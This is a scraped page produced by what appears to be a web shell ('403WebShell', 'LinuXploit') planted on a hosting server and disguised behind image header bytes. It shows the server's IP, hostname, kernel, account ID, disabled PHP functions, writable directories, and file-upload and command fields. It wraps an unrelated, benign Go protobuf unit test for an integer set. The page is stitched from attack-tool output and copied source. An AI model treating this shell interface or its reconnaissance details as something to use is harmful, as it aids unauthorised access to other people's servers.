���� JFIF    aewtgwgerwasdasd403WebShell
403Webshell
Server IP : 147.93.80.58  /  Your IP : 216.73.216.188
Web Server : LiteSpeed
System : Linux id-dci-web1866.main-hosting.eu 5.14.0-503.38.1.el9_5.x86_64 #1 SMP PREEMPT_DYNAMIC Fri Apr 18 08:52:10 EDT 2025 x86_64
User : u939086737 ( 939086737)
PHP Version : 8.2.28
Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /proc/thread-self/root/opt/go/pkg/mod/google.golang.org/protobuf@v1.35.2/internal/set/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /proc/thread-self/root/opt/go/pkg/mod/google.golang.org/protobuf@v1.35.2/internal/set/ints_test.go
// Copyright 2018 The Go Authors. All rights reserved.
// Use of this source code is governed by a BSD-style
// license that can be found in the LICENSE file.

package set

import (
	"math/rand"
	"testing"
)

const maxLimit = 1024

var toSet, toClear [maxLimit]bool

func init() {
	r := rand.New(rand.NewSource(0))
	for i := 0; i < maxLimit; i++ {
		toSet[i] = r.Intn(2) == 0
		toClear[i] = r.Intn(2) == 0
	}
}

func TestInts(t *testing.T) {
	ns := new(Ints)

	// Check that set starts empty.
	wantLen := 0
	if ns.Len() != wantLen {
		t.Errorf("init: Len() = %d, want %d", ns.Len(), wantLen)
	}
	for i := 0; i < maxLimit; i++ {
		if ns.Has(uint64(i)) {
			t.Errorf("init: Has(%d) = true, want false", i)
		}
	}

	// Set some numbers.
	for i, b := range toSet[:maxLimit] {
		if b {
			ns.Set(uint64(i))
			wantLen++
		}
	}

	// Check that integers were set.
	if ns.Len() != wantLen {
		t.Errorf("after Set: Len() = %d, want %d", ns.Len(), wantLen)
	}
	for i := 0; i < maxLimit; i++ {
		if got := ns.Has(uint64(i)); got != toSet[i] {
			t.Errorf("after Set: Has(%d) = %v, want %v", i, got, !got)
		}
	}

	// Clear some numbers.
	for i, b := range toClear[:maxLimit] {
		if b {
			ns.Clear(uint64(i))
			if toSet[i] {
				wantLen--
			}
		}
	}

	// Check that integers were cleared.
	if ns.Len() != wantLen {
		t.Errorf("after Clear: Len() = %d, want %d", ns.Len(), wantLen)
	}
	for i := 0; i < maxLimit; i++ {
		if got := ns.Has(uint64(i)); got != toSet[i] && !toClear[i] {
			t.Errorf("after Clear: Has(%d) = %v, want %v", i, got, !got)
		}
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit